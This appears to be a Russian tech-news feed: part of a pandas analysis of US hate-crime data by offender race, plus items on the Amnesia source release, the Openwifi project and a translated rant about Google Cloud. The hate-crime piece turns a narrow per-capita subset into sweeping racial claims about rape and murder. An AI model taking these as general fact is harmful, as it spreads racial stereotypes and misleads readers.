  10. REGION_NAME: название макрорегиона (куда входят несколько регионов)
  11. POPULATION_GROUP_CODE: код места совершения преступления по численности населения
  12. POPULATION_GROUP_DESC: описание места совершения преступления по численности населения (например город с населением от 0,5 до 1 млн.)
  13. INCIDENT_DATE: дата совершения преступления
  14. ADULT_VICTIM_COUNT: количество совершеннолетних пострадавших
  15. JUVENILE_VICTIM_COUNT: количество несовершеннолетних пострадавших
  16. TOTAL_OFFENDER_COUNT: общее количество преступников
  17. ADULT_OFFENDER_COUNT: количество совершеннолетних преступников
  18. JUVENILE_OFFENDER_COUNT: количество несовершеннолетних преступников
  19. OFFENDER_RACE: раса/-ы преступника/-ов
  20. OFFENDER_ETHNICITY: этническая группа преступника/-ов (латиноамериканская / не латиноамериканская / смешанная / неизвестная)
  21. VICTIM_COUNT: общее количество пострадавших (физических и юридических лиц)
  22. OFFENSE_NAME: вид совершенного преступления
  23. TOTAL_INDIVIDUAL_VICTIMS: общее количество пострадавших (физических лиц)
  24. LOCATION_NAME: место преступления (например, квартира, шоссе, школа и т.д.)
  25. BIAS_DESC: вид нетерпимости (мотив преступления)
  26. VICTIM_TYPES: категория/-и пострадавших (физические лица / власти / частная компания и т.п.)
  27. MULTIPLE_OFFENSE: маркер множественного преступления (т.е. если совершено не одно, а несколько видов преступлений)
  28. MULTIPLE_BIAS: маркер множественного мотива (не один, а несколько видов нетерпимости)



В исследовании я использую только несколько полей (те, что выделены жирным шрифтом), поскольку моей основной целью является поиск связей между видами преступлений, видами нетерпимости и расой преступников. Однако в вашем собственном исследовании вы можете, конечно, пойти дальше и проанализировать, например, возраст преступников и жертв или типичные локации преступлений в зависимости от их видов и т.п. Как говорится, простор фантазии не ограничен :)

Виды преступлений


В базу попадают 13 основных видов преступлений:

  • преступления против личности: убийство, изнасилование, нападение, тяжкое нападение, личная угроза и торговля людьми (сексуальное рабство и рабский труд)
  • преступления против собственности: грабеж, незаконное проникновение, хищение, угон, поджог и порча имущества / вандализм

а также (в расширенной базе, которую мы будем использовать) дополнительные виды правонарушений, такие как торговля наркотиками, мошенничество и даже более экзотические в контексте нетерпимости, например, проституция, инцест или содомия.

Все 48 категорий преступлений (названия в оригинале)
Aggravated Assault
All Other Larceny
Animal Cruelty
Arson
Assisting or Promoting Prostitution
Betting/Wagering
Bribery
Burglary/Breaking & Entering
Counterfeiting/Forgery
Credit Card/Automated Teller Machine Fraud
Destruction/Damage/Vandalism of Property
Drug Equipment Violations
Drug/Narcotic Violations
Embezzlement
Extortion/Blackmail
False Pretenses/Swindle/Confidence Game
Fondling
Hacking/Computer Invasion
Human Trafficking, Commercial Sex Acts
Identity Theft
Impersonation
Incest
Intimidation
Kidnapping/Abduction
Motor Vehicle Theft
Murder and Nonnegligent Manslaughter
Negligent Manslaughter
Not Specified
Pocket-picking
Pornography/Obscene Material
Prostitution
Purchasing Prostitution
Purse-snatching
Rape
Robbery
Sexual Assault With An Object
Shoplifting
Simple Assault
Sodomy
Statutory Rape
Stolen Property Offenses
Theft From Building
Theft From Coin-Operated Machine or Device
Theft From Motor Vehicle
Theft of Motor Vehicle Parts or Accessories
Weapon Law Violations
Welfare Fraud
Wire Fraud


Виды нетерпимости / мотивы преступлений


В соответствии с определением выше, в базу заносятся следующие виды нетерпимости:
  1. против расовой принадлежности (против белых, против черных, против азиатов, против евреев и т.д.)
  2. против этнической принадлежности (против латиноамериканцев)
  3. против конфессии или религиозного мировоззрения (против христиан, против атеистов, против мусульман, против Свидетелей Иеговы и т.д.)
  4. против сексуальной ориентации или пола (против мужских и женских гомосексуалов, против мужчин, против женщин, против трансгендеров и т.д.)
  5. против физических ограничений (ненависть к инвалидам)


При этом каждое преступление может иметь до 5 различных видов нетерпимости в качестве мотива. Поэтому при работе с такими множественными характеристиками нам придется укрупнять категории.

Категории пострадавших


Программа регистрирует преступления как против отдельных физических лиц, так и против организаций, государства или даже общества в целом, выделяя при этом количество пострадавших физических лиц. Мы будем рассматривать только случаи с пострадавшими людьми.

Итак, вооружившись Python с pandas или еще парочкой библиотек (см. раздел Инструменты в моей предыдущей статье), а также не забыв пропустить кофе, чай, пиво или чайный гриб (кому что нравится) надвигаем маску на лицо, одеваем хирургические перчатки, поправляем операционную лампу и

Препарируем данные


image

Как и в предыдущей статье, весь анализ я выполняю в Jupyter Lab / Notebook на Python 3.8. Здесь я не буду приводить и комментировать сам код его вы можете скачать по этой ссылке (в архиве листинг и файл в формате Jupyter Notebook). Сосредоточимся больше на получаемых результатах. Все графики кликабельны.

Обзор данных и топ-листы


После загрузки данных из CSV (только нужных для исследования столбцов) получаем такой датафрейм:

YEAR STATE_NAME OFFENDER_RACE OFFENSE_NAME BIAS_DESC VICTIM_TYPES
0 1991 Arkansas White Intimidation Anti-Black or African American Individual
1 1991 Arkansas Black or African American Simple Assault Anti-White Individual
2 1991 Arkansas Black or African American Aggravated Assault Anti-Black or African American Individual
3 1991 Arkansas Black or African American Aggravated Assault;Destruction/Damage/Vandalis... Anti-White Individual
4 1991 Arkansas Black or African American Aggravated Assault Anti-White Individual
... ... ... ... ... ... ...
201398 2018 West Virginia NaN Burglary/Breaking & Entering Anti-Black or African American Individual
201399 2018 West Virginia White Simple Assault Anti-Black or African American Individual
201400 2018 West Virginia NaN Intimidation Anti-Asian Individual
201401 2018 West Virginia White Intimidation Anti-White Law Enforcement Officer
201402 2018 West Virginia NaN Burglary/Breaking & Entering;Destruction/Damag... Anti-Other Religion Religious Organization

201403 rows 6 columns



Более 200 тысяч строк и чуть больше 8 МБ памяти. Давайте для начала посмотрим на топ-10 совершаемых преступлений, видов нетерпимости (мотивов), рас преступников и категорий жертв:

Кликабельно

Кликабельно

Итак, что мы здесь наблюдаем:
  • Самый распространенный вид преступления порча имущества / вандализм, за ним с небольшим отставанием личная угроза (intimidation). Каждый из этих видов преступления занимает почти треть всех случаев. Далее идут нападения, а грабеж и другие преступления уже гораздо менее распространены.
  • Среди видов нетерпимости с большим отрывом лидирует нетерпимость к чернокожим (больше трети всех случаев), затем в порядке убывания, но примерно на одном уровне: нетерпимость к евреям, нетерпимость к белым, нетерпимость к геям. Остальные виды нетерпимости статистически на порядок реже лидера.
  • 70% всех преступлений совершаются белыми, порядка 23% черными, остальные в пределах погрешности.
  • Преступления против личности составляют 80% всех случаев.


Смотря только на эти графики, можно представить, будто почти все преступления это белые, угрожающие черным расправой или портящие их имущество Однако давайте посмотрим, какие преступления и виды нетерпимости наиболее типичны для каждой расовой категории преступников:


OFFENSE_COUNT TOP_OFFENSE TOP_OFFENSE_SHARE TOP_BIAS TOP_BIAS_SHARE TOP_VICTIM TOP_VICTIM_SHARE
OFFENDER_RACE
White 79514 Intimidation 36.796036 Anti-Black or African American 46.877279 Individual 92.730840
Black or African American 25956 Simple Assault 36.292187 Anti-White 46.594236 Individual 94.760364
Multiple 4047 Simple Assault 36.545589 Anti-Black or African American 29.033852 Individual 91.153941
Asian 1453 Simple Assault 31.865107 Anti-Black or African American 30.075705 Individual 93.048864
American Indian or Alaska Native 1095 Simple Assault 40.182648 Anti-White 31.415525 Individual 93.059361
Native Hawaiian or Other Pacific Islander 35 Simple Assault 45.714286 Anti-Other Religion 22.857143 Individual 77.142857


В этой таблице:

  • OFFENSE_COUNT общее количество преступлений, совершенных представителями данной расы
  • TOP_OFFENSE самый частый вид преступления для представителей данной расы
  • TOP_BIAS самый частый вид нетерпимости (мотива преступления) для представителей данной расы
  • TOP_VICTIM самая частая категория потерпевших для представителей данной расы

Для каждой типичной категории также представлены соответствующие процентные доли от общего количества преступлений, совершенных представителями данной расы.

Здесь можно увидеть, что для черных и белых основным мотивом является расовая нетерпимость по отношению к представителям противоположной расы (47% преступлений для обеих рас). При этом белые преступники, в основном, занимаются угрозами и запугиванием (37% преступлений), а черные нападениями без отягчающих обстоятельств (36% преступлений). (Удивительно, какое совпадение по процентным долям обнаруживают эти две расы!) Кстати говоря, только для белых преступников основной вид преступлений не связан с физическим ущербом (угрозы); представители других рас чаще совершают нападения.

Можно также отметить, что азиаты и представители смешанных рас (метисы) также, в основном, обнаруживают неприязнь к черным, индейцы и эскимосы к белым, а вот гавайцы к иноверцам. Что ж, эта статистика пока (лично для меня) оказалась довольно ожидаемой.

Взглянем на количество преступлений по годам для каждой расы преступников:

Кликабельно

Как и следовало предположить, преступления белых и черных на графике доминируют над остальными расами, по которым даже не видно изменений из-за разницы в масштабе. Пик со стороны белых здесь приходится на 1995 2002 гг., а со стороны черных начало 1990-х. С 2002 г. количество преступлений, совершенных белыми на почве нетерпимости, довольно уверенно спадало, снизившись в 2 раза по сравнению с пиковым 2001-м; однако после 2016 г. вновь начало круто расти. Нетерпимость среди черных плавно спадала с 1995 по 2004 г., однако затем так же плавно начала расти, выйдя в 2018 г. на уровень 1995 г.

Здесь интересно отметить, что при Бараке Обаме (который, как мы знаем, принадлежит к афроамериканской расе), то есть с 2009 по 2017 гг., количество преступлений среди белых очень резко снизилось, но в это же самое время количество преступлений среди черных обнаружило стабильный рост. Ранее при Буше (2001 2009 гг.) после пика преступлений среди белых в первый год его президентства количество преступлений, совершаемых представителями обеих рас, вышло на полку и практически не менялось. А вот при Клинтоне (1993 2001 гг.) преступления среди белых росли быстро, почти год от года, в то время как преступления среди черных, наоборот, плавно снизились.

Что ж, поглядели на основные тренды. Давайте теперь отфильтруем данные, оставив только самое необходимое для дальнейшего анализа.

Первая фильтрация: по видам преступлений и потерпевших


В соответствии с исследованием, представленным в моей предыдущей статье, произведем аналогичную фильтрацию данных для анализа:

  1. среди категорий потерпевших оставим только физических лиц (исключим преступления против организаций, властей и всего общества);
  2. среди видов преступлений оставим только убийства, нападения (тяжкие и обычные), грабежи и изнасилования как наиболее злодейские.

Посмотрим, что получилось:


YEAR STATE_NAME OFFENDER_RACE OFFENSE_NAME BIAS_DESC COUNT
0 1991 Arizona Black or African American Assault Anti-Gay (Male) 1
1 1991 Arizona Black or African American Assault Anti-White 4
2 1991 Arizona White Assault Anti-Black or African American 10
3 1991 Arkansas Black or African American Assault Anti-Black or African American 1
4 1991 Arkansas Black or African American Assault Anti-White 4
... ... ... ... ... ... ...
16428 2018 Wisconsin White Assault Anti-Hispanic or Latino 1
16429 2018 Wisconsin White Assault Anti-Hispanic or Latino;Anti-White 1
16430 2018 Wisconsin White Assault Anti-Physical Disability 1
16431 2018 Wisconsin White Assault Anti-Sikh 1
16432 2018 Wisconsin White Assault Anti-White 1

16433 rows 6 columns



Фильтрация и агрегация данных позволила сократить объем в 12 раз без ущерба для факторов, важных для анализа. Новый столбец COUNT в конце содержит количество преступлений для данного года, штата, расы преступника, вида преступления и мотива.

В качестве промежуточного шага посмотрим на распределение преступлений по расе преступников:

Кликабельно

и по видам нетерпимости:

Кликабельно

Итак, белые и черные преступники составляют вместе 93% всех случаев (преступлений среди белых в два раза больше, но мы же знаем, что белых и самих в 5 раз больше). Поэтому совершенно не удивляет и то, что почти та же пропорция и по видам нетерпимости: 33% преступлений мотивировано нетерпимостью к черным, 18% нетерпимостью к белым. Здесь попутно интересно отметить, что преступления на почве нетерпимости к белым количественно примерно равны преступлениям на почве нетерпимости к гомосексуалам это третий по величине мотив.

Вторая фильтрация: по расе преступников и мотиву преступлений


Следующий логический шаг оставить только черных и белых преступников и, соответственно, только черно-белые мотивы преступлений. Этим мы сужаем объект исследования до расизма среди белых и черных. После дополнительной фильтрации наш массив данных выглядит как-то так:


YEAR STATE_NAME OFFENDER_RACE OFFENSE_NAME BIAS_DESC COUNT
0 1991 Arizona Black Assault Anti-White 4
1 1991 Arizona White Assault Anti-Black 10
2 1991 Arkansas Black Assault Anti-Black 1
3 1991 Arkansas Black Assault Anti-White 4
4 1991 Arkansas Black Murder Anti-White 1
... ... ... ... ... ... ...
3870 2018 West Virginia White Assault Anti-White 2
3871 2018 Wisconsin Black Assault Anti-Black 1
3872 2018 Wisconsin Black Assault Anti-White 4
3873 2018 Wisconsin White Assault Anti-Black 6
3874 2018 Wisconsin White Assault Anti-White 2

3875 rows 6 columns



Пора включить в анализ удельные показатели (на количество населения по каждой расовой группе). Для этого подгрузим данные по численности населения из файла us_pop_1991-2018.csv.

Посмотрим, как в целом распределено население США по расам (среднегодовые показатели за 1991 2018 гг.):

Кликабельно

Белых получается в 5.8 раз больше, чем черных. Все остальные расы составляют 11% населения.

Далее добавляем в наш датасет данные по численности и вычисляем удельное количество преступлений на 1 млн. представителей каждой расы.

Помня, что после первой фильтрации у нас осталось 4 вида преступлений (убийство, нападение, грабеж и изнасилование), давайте посмотрим на распределение этих преступлений по обеим расам в абсолютных и удельных показателях:

Кликабельно

Отдельно для убийств и изнасилований (т.к. их на общих графиках не видно):

Кликабельно

Что же мы здесь видим? А видим вот что:

  • Из анализируемых видов преступлений с большим отрывом лидируют нападения (в 25 раз больше, чем грабеж, в 250 раз чем убийство и изнасилование).
  • Нападений, совершенных белыми, в два раза больше, но в удельном отношении черные совершают нападения почти в 3 раза чаще.
  • Грабежей, совершенных черными, в 1.5 раза больше в абсолютных цифрах и в 10 раз больше в удельных.
  • Суммарно белые совершили несколько больше убийств, чем черные, и примерно столько же изнасилований. В удельном же выражении черные насилуют в 6 раз чаще и убивают в 3.6 раз чаще, чем белые. Между убийством и изнасилованием белые предпочитают убийство, а черные изнасилование.


Преступления на почве расизма по годам


Посмотрим, как изменялось количество расистских преступлений, совершенных черными и белыми, за весь период:

Кликабельно

Кликабельно

Нетрудно по этим графикам сделать очевидные выводы:

  • В среднем белые совершают в год немного больше преступлений на почве расизма, но в 4-5 раз реже в удельном выражении (другими словами, вероятность совершения расистского преступления афроамериканцем в 4-5 раз выше, чем белым).
  • Тем не менее, с 1990-х годов удельный показатель расистских преступлений среди черных постепенно падает, снизившись в полтора раза за четверть века.
  • При переходе от абсолютных показателей к удельным скачки преступлений белых значительно сгладились, что говорит о прямой корреляции между количеством преступлений, совершаемых белыми, с численностью белокожего населения. Однако для черных это не так: сильные скачки остались и на удельном графике, что говорит о плохой связи расизма среди черных с приростом чернокожего населения. Проще говоря, расизм среди белых относительно стабилен (почти константен) начиная с 1993 года, а расизм среди черных, скорее всего, подвержен влиянию внешних факторов, таких как общественно-политические и внутренние события в стране.


Взглянем и на обобщенные (среднегодовые) показатели:

Кликабельно

Лишний раз убеждаемся в сделанных наблюдениях: в среднем белые совершают на 15-16% больше преступлений на почве расизма, но при этом из-за разницы в численности белых и черных, как мы знаем, почти в 6 раз, черные в столько же раз чаще совершают такие преступления.

Только ли белые против черных, черные против белых?


Давайте к нашим обобщенным показателям добавим параметр нетерпимости, т.е. мотива преступлений. Как вы помните, в результате фильтрации мы оставили только два мотива: нетерпимость к белой расе и нетерпимость к чернокожей расе. Как они распределены между белыми и черными преступниками? 100% полярно, конечно же? А вот и нет!

Кликабельно

Конечно, поляризация налицо, но выясняется, что есть преступления, совершенные черными на почве расовой вражды к своим же, и то же самое среди белых. (Уверен, что есть и преступления, совершенные гомосексуалами на почве ненависти к гомосексуалам, женщинами на почве ненависти к женщинам и т.д., ибо человек это звучит гордо сложно; конечно, все это вы можете проверить сами!)

Но что здесь любопытно: доля преступлений, совершаемых черными на почве ненависти к своим же составляет 11% от всех преступлений, совершаемых черными, а для белых этот показатель равен 9%. То есть чернокожий имеет несколько более высокий шанс обернуться против своих.

География преступлений


Наконец, посмотрим на распределение преступности на почве расизма по штатам США. Для вычисления удельных показателей нам, как обычно, надо будет загрузить численность по штатам и расам из файла us_pop_states_race_2010-2019.csv.

Среднегодовые показатели численности белых и черных по штатам:

Кликабельно

ОК, ничего нового: перенаселенные Калифорния, Техас, Флорида и Нью-Йорк, где, как вы могли видеть из прошлой статьи, совершается количественно больше преступлений.

Но везде ли одинакова доля чернокожего населения пресловутые 13%? Посмотрим:

Кликабельно

Итак, черных больше половины всего Округа Колумбия (где находится славный город Пентагон Вашингтон), около трети в хлопковых южных штатах Миссисипи, Луизиане, Джорджии, Алабаме, Южной Каролине и в одном северном (Мэриленде, где Округ Колумбия, где славный город...); в остальных меньше четверти. Это, как говорится, просто для справки.

А что с преступлениями? Смотрим на среднегодовые показатели в абсолютных и удельных выражениях:

Кликабельно

Кликабельно

Видно, что по абсолютному количеству преступлений лидирует самый населенный штат Калифорния. Но далее Флориду и Техас потеснили Мичиган, Иллинойс и Мэриленд экономически более развитые северные штаты. А на удельном графике выбились вперед наименее населенные штаты Монтана, Вермонт, Айдахо, Северная и Южная Дакота, Аляска (все тоже на севере страны). При этом видно, что пропорция преступлений между белыми и черными не одинакова по штатам, несмотря на доминирование черных по удельным показателям (например, в белую сторону выделяется Округ Колумбия и Гавайи).

Отобразим на карте (для большей наглядности заменим среднегодовые показатели накопленной суммой).

Сначала в абсолютном выражении:

Кликабельно

Здесь выделяется северо-восток страны (особенно Мичиган) плюс Калифорния и Вашингтон на тихоокеанском побережье. И в удельном выражении:

Кликабельно

Здесь заметно преобладание севера с наименее населенными штатами: Округ Колумбия, обе Дакоты и все тот же Вашингтон, а также по паре штатов с восточной и западной стороны. При этом южные штаты не обнаруживают значительной преступности среди населения.

В общем, если вы задаете вопрос Где я увижу больше преступлений, мотивированных расизмом?, смотрите первую карту. Если ваш вопрос Где выше вероятность каждого человека совершить расистское преступление? смотрите вторую карту. Других выводов относительно распределения делать не стану.

Вместо выводов


Как там у Булгакова? Факты самая упрямая в мире вещь. Если нам что-то твердят со всех сторон, совсем необязательно это является правдой это может оказаться полуправдой или же ложью. Но имея в руках факты в виде N-ного количества наборов данных, вы можете сами подтвердить или опровергнуть те или иные рассуждения. Можно строить гипотезы и подтверждать / опровергать их статистическими методами, а можно просто без всяких гипотез рассмотреть данные и найти в них некие закономерности, которые уже в свою очередь помогут либо сделать выводы, либо предложить гипотезы, которые далее можно так же препарировать. Вам решать верить всему на слово или проверять.

Конечно, этот маленький анализ далеко не полный. Он выполнен поверхностно, ведь я только рассмотрел базовые показатели, не применяя даже четверти доступного аппарата математической статистики. Конечно, и о качестве исходных данных можно спорить. Всем ли регистрируемым данным можно верить? Все ли преступления регистрируются? Кто и как определяет мотивы нетерпимости? Но как по мне, я лучше буду анализировать официальные открытые данные as-is, чем довольствоваться заявлениями вроде в крови господина N нашли отравляющее вещество X или страна W уже на протяжении десятков лет систематически нарушает права человека.

PS. В комментариях к моему предыдущему исследованию меня много раз просили разделить чисто белых и латиносов, так как культуры все-таки имеют различия. Я бы и не против, но, к сожалению, это невозможно сделать ни в том, ни в этом случае по причине скудности сведений об этом этническом признаке в исходных данных. Так, например, в данных, которые мы разбираем в этой статье, из 79514 преступлений, совершенных белыми, только 6999 имеют пометку об этнической принадлежности, причем только 489 помечены как Hispanic or Latino (это 0,6%). Конечно, такие данные нельзя использовать для анализа.
Подробнее..

Разработчики Amnesia опубликовали исходный код игры

24.09.2020 08:13:47 | Автор: admin
Amnesia: The Dark Descent и Amnesia: A Machine For Pigs с этого дня распространяются по лицензии GPL3.



Моддинг был важной частью Amnesia. За годы существования The Dark Descent на ModDB накопилось более тысячи модов и дополнений. Разработчики чрезвычайно благодарны всему сообществу. Пришло время отплатить фанатам тем же, и Frictional Games выложили исходный код игр под лицензией GPL v3:

Помимо кода самих игр присутствует и код редактора.

При этом создатели игры сохраняют за собой авторские права, пользователи же имеют право пользоваться самим кодом в рамках GPL3 можно изменять, копировать и распространять материалы.

Как пишут разработчики, они могли бы уже давно опубликовать код игры, но всегда были более важные дела. Но теперь, когда Amnesia: The Dark Descent исполнилось 10 лет, а до Amnesia: Rebirth осталось меньше месяца, они решили всё-таки порадовать сообщество.

В студии надеются, что это поможет не только моддерам, но и начинающим разработчикам, которые только знакомятся с геймдевом.
Подробнее..

Проект Openwifi как выглядит открытый Wi-Fi-чип

23.09.2020 12:10:47 | Автор: admin
Речь идет о первой свободной распространяемой реализации Wi-Fi 802.11a/g/n на базе программно-определяемой радиосистемы SDR (software-defined radio). Поговорим об этом проекте.


/ CC BY / Victor Aznabaev

Что это за проект


Большинство прошивок для Wi-Fi-устройств закрыты, поэтому нельзя проверить, присутствуют ли в них какие-либо бэкдоры. Специалисты из лаборатории IDLab, сформированной на базе Гентского и Антверпенского университетов в Бельгии, решили исправить ситуацию и запустили проект Openwifi. Это открытая реализация Wi-Fi на FPGA, совместимая с Linux. Свои наработки инженеры представили на конференции FOSDEM 2020, посвященной свободному ПО.

Весь код со схемами аппаратного обеспечения лежат на GitHub и распространяются по лицензии AGPLv3. Хотя в этом проекте использовали несколько сторонних модулей например коммерческие приёмопередатчики. Прежде чем начинать работу с Openwifi, нужно учитывать их лицензии.

Как он устроен


Аппаратная часть системы основана на FPGA от Xilinx и радиопередатчике AD9361. Также здесь задействовали архитектуру SoftMAC, которая реализует беспроводной стек 802.11 на стороне драйвера. За эту задачу отвечает подсистема mac80211, предоставляемая ядром Linux. Схему авторы проекта разместили в своем репозитории.



В основе программной части лежит OpenOFDM открытая реализация OFDM-декодера на Verilog. Взаимодействовать с Wi-Fi-модулем можно с помощью штатных утилит Linux ifconfig и iwconfig, а также специализированной программы sdrctl она позволяет обращаться к драйверу Openwifi через netlink. Для управления беспроводными драйверами из пользовательского пространства авторы использовали библиотеки nl80211 и cfg80211.

Среди основных возможностей системы стоит выделить полосу пропускания в 20 МГц и диапазон частот от 70 МГц до 6 ГГц, квантование времени по MAC-адресу и реализацию протокола DCF на стороне FPGA, который является базовым протоколом доступа в сетях Wi-Fi.

Каковы его перспективы


Openwifi находится на ранних этапах разработки, поэтому о высокой пропускной способности говорить не приходится. Авторы добились скорости скачивания в 30,6 и 38,8 Мбит/с для TCP и UDP. Скорость выгрузки несколько меньше 17,0 и 21,5 Мбит/с соответственно.


/ CC BY / Frank Wang

В перспективе разработчики планируют увеличить эти показатели. На их дорожной карте также стоит добавление поддержки стандарта Wi-Fi 802.11ax. В целом резиденты Hacker News говорят, что Openwifi это еще один важный шаг на пути к полностью открытому аппаратному обеспечению для беспроводных сетей. Осталось реализовать соответствующий радиочастотный чип главное, чтобы не возникло проблем с патентами различных корпораций.

О чем мы пишем в корпоративном блоге VAS Experts:

Подробнее..

Перевод Дорогой Google Cloud, отказ от обратной совместимости тебя убивает

15.09.2020 18:11:52 | Автор: admin
Чёрт возьми, Google, я не хотел снова писать в блог. У меня так много дел. Ведение блога требует времени, энергии и креатива, которые я мог бы использовать с пользой: мои книги, музыка, моя игра и так далее. Но ты меня достаточно разозлил, и придётся это написать.

Так что давай покончим с этим.

Начну с небольшой, но поучительной истории из тех времён, когда я только начал работать в Google. Знаю, что в последнее время я наговорил много плохого о Google, но меня расстраивает, когда родная компания регулярно принимает некомпетентные бизнес-решения. При этом нужно отдать должное: внутренняя инфраструктура Google действительно экстраординарная, можно смело утверждать, что сегодня нет ничего лучше. Основатели Google были гораздо лучшими инженерами, чем я когда-либо стану, и эта история только подтверждает данный факт.

Сначала немного предыстории: у Google есть технология хранения данных под названием Bigtable. Это было замечательное техническое достижение, одно из первых (если не первое) бесконечно масштабируемое хранилище пар ключ-значение (key-value store, K/V): по сути, начало NoSQL. В наши дни Bigtable всё ещё хорошо чувствует себя в довольно переполненном пространстве хранилищ K/V, но в то время (2005 год) оно было потрясающе крутое.

Одна забавная деталь Bigtable заключается в том, что у них были внутренние объекты плоскости управления (как часть реализации) под названием tablet-серверы, с большими индексами, и в какой-то момент они стали узким местом при масштабировании системы. Инженеры Bigtable ломали голову, как реализовать масштабируемость, и вдруг поняли, что могут заменить tablet-серверы другими хранилищами Bigtable. Так что Bigtable это часть реализации Bigtable. Эти хранилища там на всех уровнях.

Еще одна интересная деталь заключается в том, что на какое-то время Bigtable стали популярными и вездесущими внутри Google, и у каждой команды было своё хранилище. Поэтому на одном из пятничных собраний Ларри Пейдж небрежно спросил мимоходом: А почему у нас больше одного Bigtable? Почему не обойтись только одним? Теоретически, одного хранилища должно было хватить для всех потребностей хранения Google. Конечно, они никогда не переходили только на одно по практическим причинам разработки (например, последствия потенциального сбоя), но теория была интересной. Одно хранилище для всей Вселенной (кстати, кто-нибудь знает, Amazon такое сделала со своим Sable?)

Так или иначе, вот моя история.

В то время я работал в Google чуть более двух лет, и однажды мне пришло письмо от инженерной команды Bigtable примерно такого содержания:

Уважаемый Стив,

Привет от команды Bigtable. Мы хотим сообщить, что в дата-центре [название дата-центра] вы используете очень, очень старый бинарный файл Bigtable. Эта версия больше не поддерживается, и мы хотим помочь вам перейти на последнюю версию.

Пожалуйста, дайте знать, если вы можете запланировать некоторое время для совместной работы над этим вопросом.

Всего наилучшего,
Команда Bigtable

В Google вам приходит много почты, поэтому с первого взгляда я прочитал примерно так:

Уважаемый получатель,

Привет от какой-то команды. Мы хотим сообщить, что бла-бла-бла-бла-бла. Бла-бла-бла-бла-бла-бла, и бла-бла-бла немедленно.

Пожалуйста, дайте нам знать, если вы можете запланировать часть своего драгоценного времени на бла-бла-бла.

Всего наилучшего,
Какая-то команда

Я почти удалил его сразу же, но на границе сознания ощутил тягостное, ноющее чувство, что это не совсем похоже на формальное письмо, хотя очевидно, что с адресатом ошиблись, потому что я не использовал Bigtable.

Но это было странно.

Остаток дня я попеременно думал о работе и о том, какой вид акульего мяса попробовать в микро-кухне, из которых по крайней мере три были достаточно близко, чтобы попасть с моего места метким броском бисквита, но мысль о письме не покидала меня с растущим чувством лёгкой тревоги.

Они явно назвали моё имя. И письмо отправлено на мой адрес электронной почты, а не на чей-то ещё, и это не cc: или bcc:. Тон очень личный и чёткий. Может, это какая-то ошибка?

Наконец, любопытство взяло верх и я пошёл взглянуть на консоль Borg в дата-центре, который они упомянули.

И конечно, у меня в управлении было хранилище BigTable. Что-что? Я взглянул на его содержимое, и надо же! Оно было из инкубатора Codelab, в котором я сидел первую неделю работы в Google в июне 2005 года. Codelab заставлял вас запустить Bigtable, чтобы вы записали туда некоторые значения, и я, видимо, так и не закрыл хранилище после этого. Оно всё ещё работало, хотя прошло более двух лет.

В этой истории есть несколько примечательных аспектов. Во-первых, работа Bigtable был настолько несущественна в масштабе Google, что только через два года лишнее хранилище кто-то заметил, да и то лишь потому, что версия бинарника устарела. Для сравнения, я когда-то рассматривал возможность использования Bigtable в Google Cloud для моей онлайн-игры. В то время эта услуга стоила примерно $16000 в год за пустую Bigtable на GCP. Я не говорю, что они вас обманывают, но, по моему личному мнению, это большие деньги за пустую грёбаную базу данных.

Ещё один примечательный аспект заключается в том, что хранилище по-прежнему работало через два года. WTF? Дата-центры приходят и уходят; они испытывают перебои, они проходят плановое техническое обслуживание, они всё время меняются. Железо обновляется, коммутаторы меняются местами, всё постоянно совершенствуется. Как, чёрт возьми, они смогли сохранить мою программу запущенной в течение двух лет с учётом всех этих изменений? Это может показаться скромным достижением в 2020 году, но в 2005-2007 годах оно было весьма впечатляющим.

И самый замечательный аспект заключается в том, что посторонняя инженерная команда в каком-то другом штате обращается ко мне, владельцу какого-то крошечного, практически пустого экземпляра Bigtable, у которого нулевой трафик в течение последних двух лет и предлагают помощь, чтобы обновить его.

Я поблагодарил их, удалил хранилище, и жизнь пошла своим чередом. Но тринадцать лет спустя я всё ещё думаю об этом письме. Потому что иногда мне приходят подобные письма от Google Cloud. Они выглядят так:

Уважаемый пользователь Google Cloud,

Напоминаем, что мы прекращаем обслуживание сервиса [важный сервис, который вы используете] с августа 2020 года, после чего вы не сможете обновить свои инстансы. Рекомендуем перейти на последнюю версию, которая проходит бета-тестирование, не имеет никакой документации, никакого пути миграции и которая заранее устарела с нашей любезной помощью.

Мы стремимся к тому, чтобы это изменение минимально повлияло на всех пользователей платформы Google Cloud.

Лучшие друзья навсегда,
Облачная платформа Google

Но я почти не читаю такие письма, потому что на самом деле в них говорится следующее:

Уважаемый получатель,

Пошёл ты к чёрту. Пошёл ты, пошёл ты, пошёл ты. Отбрось всё, что ты делаешь, потому что это не важно. Что важно, так это наше время. Мы тратим время и деньги, чтобы поддерживать наше дерьмо, и мы устали от этого, поэтому больше не будем его поддерживать. Так что бросай свои грёбаные планы и начинай копаться в нашей дерьмовой документации, выпрашивая объедки на форумах, и, кстати, наше новое дерьмо полностью отличается от старого дерьма, потому что мы довольно сильно испортили этот дизайн, хех, но это твоя проблема, а не наша.

Мы по-прежнему прикладываем усилия, чтобы все твои разработки стали непригодны для использования в течение одного года.

Пожалуйста иди нах,
Облачная платформа Google

И дело в том, что я получаю такие письма примерно раз в месяц. Это происходит так часто и так постоянно, что они неизбежно оттолкнули меня от GCP в лагерь противников облаков. Я больше не согласен зависеть от их проприетарных разработок, потому что на самом деле девопсу легче поддерживать систему с открытым исходным кодом на голой виртуалке, чем пытаться угнаться за Google с её политикой закрытия устаревших продуктов.

Прежде чем вернуться к Google Cloud, потому что я даже близко не закончил их критиковать, давайте посмотрим на работу компании в некоторых других областях. Инженеры Google гордятся своей дисциплиной разработки программного обеспечения, и именно это на самом деле вызывает проблемы. Гордость это ловушка для неосторожных, она заставила многих сотрудников Google думать, что их решения всегда правильны и что правильность (по какому-то неопределённому нечёткому определению) важнее, чем забота о клиентах.

Приведу несколько произвольных примеров из других больших проектов за пределами Google, но надеюсь, что вы увидите этот шаблон везде. Он заключается в следующем: обратная совместимость поддерживает живучесть и актуальность систем в течение десятилетий.

Обратная совместимость это цель проектирования всех успешных систем, предназначенных для открытого использования, то есть реализованных с открытым исходным кодом и/или на открытых стандартах. Я чувствую, что говорю что-то слишком очевидное, что всем даже неудобно, но нет. Это политический вопрос, поэтому нужны примеры.

Первая система, которую я выберу, самая старая: GNU Emacs, это своего рода гибрид между Блокнотом Windows, ядром ОС и Международной космической станцией. Это немного сложно объяснить, но в двух словах Emacs это платформа, созданная в 1976 году (да, почти полвека назад) для программирования, чтобы повысить вашу продуктивность, но маскируется под текстовый редактор.

